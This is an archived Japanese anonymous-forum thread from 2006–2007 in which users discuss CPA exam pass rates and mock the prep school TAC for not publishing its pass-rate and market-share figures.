> 来年の短答は枠がちょっとしかないから激戦確実!

471 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 15:54:41 ID:GmapRtaL
毎年論文A判定落ちですけど毎年六ヶ月位働いて戻ってくると去年の短答落ちに抜かれまくりです。今年も科目合格無しだし来年もつらいよーただ今工場勤務

472 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 19:17:53 ID:???
仮に今年の論文落ちが来年短刀受ければ3000人位は受かるでしょうから。今年と同じくらいの難易どなら今年の純粋合格者は2000人位でしょうね。
よって今年の短刀合格は2000人と予想します。

473 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 19:20:11 ID:???
合格率発表まだですか?



474 :一般に公正妥当と認められた名無しさん:2006/12/07(木) 10:05:55 ID:???
大原より先行して合格率の発表なんてできません ><;

475 :一般に公正妥当と認められた名無しさん:2006/12/09(土) 00:33:50 ID:???
毎年こんなに遅かったっけ?
あまりにも悪くて発表できないのかな?

476 :一般に公正妥当と認められた名無しさん:2006/12/09(土) 12:42:39 ID:???
TACは短刀合格率を発表しない気ですか???wwwwww

477 :一般に公正妥当と認められた名無しさん:2006/12/09(土) 13:00:52 ID:???
会計士試験が新制度に変わったことに伴い、従来の合格率算定の前提が大きく変わったため、
従来どおりの手法で短答合格率を公表いたしますと皆様に無用な誤解を与えかねないと
判断いたしまして、本年度より短答合格率の公表は差し控えさせていただいております。
TACが高い占有率を維持していることは確かですので、皆様におかれましては
引き続き安心してTACの会計士講座を受講していただくよう心より切願いたします。

478 :一般に公正妥当と認められた名無しさん:2006/12/16(土) 21:55:39 ID:???
合格率と占有率を早く知りたいですね^^

479 :一般に公正妥当と認められた名無しさん:2006/12/16(土) 21:57:04 ID:???
非公表

480 :一般に公正妥当と認められた名無しさん:2006/12/16(土) 22:55:52 ID:u2Jf6vxG
TACはもう公務員試験予備校なんだからおまけ講座の合格占有率くらい正直に公表すればいいのに

481 :斉藤:2006/12/19(火) 18:51:15 ID:IECBnnjq
>>476
しませんが、何か?

482 :一般に公正妥当と認められた名無しさん:2006/12/19(火) 22:56:37 ID:???
TACって名前なんだろうな。
TACは大原みたいに学校法人にはなれんのかね

483 :一般に公正妥当と認められた名無しさん:2006/12/25(月) 18:36:34 ID:sXQpWqE8
晒しあげ

484 :一般に公正妥当と認められた名無しさん:2006/12/26(火) 01:33:07 ID:???
06は短刀も論文も合格率を発表せずに逃げ切るつもりのTACw

485 :一般に公正妥当と認められた名無しさん:2006/12/26(火) 12:59:54 ID:???
TACは今年も受講生占有率NO1を達成しました_!!


486 :一般に公正妥当と認められた名無しさん:2006/12/26(火) 13:24:50 ID:???
>>484
いつかの有馬でのメジロパーマーだな

487 :斉藤:2006/12/31(日) 16:22:30 ID:WKWeXhDN
>>480 >>484
公表しませんが、何か?

488 :一般に公正妥当と認められた名無しさん:2007/01/20(土) 10:45:07 ID:???
合格率発表まだですか?

489 :一般に公正妥当と認められた名無しさん:2007/01/20(土) 17:03:35 ID:???
06年度のTAC受験生1万2千人前後(推定)

 ↓ ここが最難関!!

合格率算定するための母集団約1500人

 ↓

短答突破約1100人

 ↓

論文突破約300人?

490 :一般に公正妥当と認められた名無しさん:2007/01/20(土) 19:02:48 ID:???
タックの母集団ちいせえwwwwwww


491 :一般に公正妥当と認められた名無しさん:2007/01/20(土) 19:46:50 ID:vJnhiV3G
CPA横浜日吉校の一発合格率43.9%の件について

492 :一般に公正妥当と認められた名無しさん:2007/01/20(土) 20:07:39 ID:???
>>491
くわすく

493 :一般に公正妥当と認められた名無しさん:2007/01/20(土) 20:37:52 ID:???
>>492
予備校のパンフにそう明記されていた。


494 :一般に公正妥当と認められた名無しさん:2007/01/21(日) 00:29:00 ID:Ec8ZAa3M
http://www.cpa-net.ac.jp/hiyoshi/keidai/QA.html

495 :一般に公正妥当と認められた名無しさん:2007/01/21(日) 01:34:41 ID:wS98rG06
TACの企業法のテキスト見にくくね?

496 :一般に公正妥当と認められた名無しさん:2007/01/25(木) 00:31:00 ID:???
TACはもうすたれてるよ

497 :一般に公正妥当と認められた名無しさん:2007/01/30(火) 23:34:18 ID:hoY26mo2
私は慶応でできちゃった学生結婚でなかなかえっちにいそしんでて
余裕が無いのですがこんな縛でも合格できますか?

498 :一般に公正妥当と認められた名無しさん:2007/01/30(火) 23:53:25 ID:???
>>497
会計士試験はめちゃくちゃ簡単なので、受験しよう!!
今年の試験を受験することをおすすめするよ!!

499 :一般に公正妥当と認められた名無しさん:2007/01/31(水) 00:13:35 ID:???
そーいえば、今年のTACは
本科生合格者633/全合格者1372=46.1%だってね。
去年は、本科生合格者788/全合格者1308=60.2%だったのに・・・。
この全合格者のうちTACが占める割合が低下した原因はなんなの?

500 :一般に公正妥当と認められた名無しさん:2007/01/31(水) 00:41:04 ID:???
アクセル、クレアールなど小規模校が躍進したから。
TACのみが減少。

501 :一般に公正妥当と認められた名無しさん:2007/01/31(水) 01:49:09 ID:SrNez+Vq
>>498その数もぶっちゃげ あやしいアクセル、クレアール大原
全てたしたら人数どれだけだよw


502 :一般に公正妥当と認められた名無しさん:2007/01/31(水) 13:04:21 ID:???
新試験制度になって理解中心の色合いが濃くなった。
従来より理解を伴わない暗記中心のTACには厳しい試験となったといえる。
もはや、予備校はずしとかそういう問題ではない。

503 :一般に公正妥当と認められた名無しさん:2007/01/31(水) 18:38:13 ID:???
租税法で大半が死んだんじゃね。

504 :一般に公正妥当と認められた名無しさん:2007/02/01(木) 08:12:41 ID:???
租税法はまったく絶対太陽が割れるほど関係ありません。問題は前の席に座ったか、後ろの席に座ったかですよ。

505 :一般に公正妥当と認められた名無しさん:2007/02/12(月) 18:50:30 ID:???
今年のパンフってV30(31?)の煽り文句やめたの?

506 :一般に公正妥当と認められた名無しさん:2007/02/12(月) 20:30:05 ID:???
TACの会計士講座は所詮公務員講座のおまけですからw

507 :一般に公正妥当と認められた名無しさん:2007/02/23(金) 19:43:47 ID:Qu5MYswo
公務員講座の民法のG原という講師はかなり使えるらしい


508 :一般に公正妥当と認められた名無しさん:2007/02/24(土) 09:00:32 ID:???
O原じゃなくて?

509 :一般に公正妥当と認められた名無しさん:2007/03/18(日) 14:02:01 ID:???
今年もTACの一人勝ち!

139 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)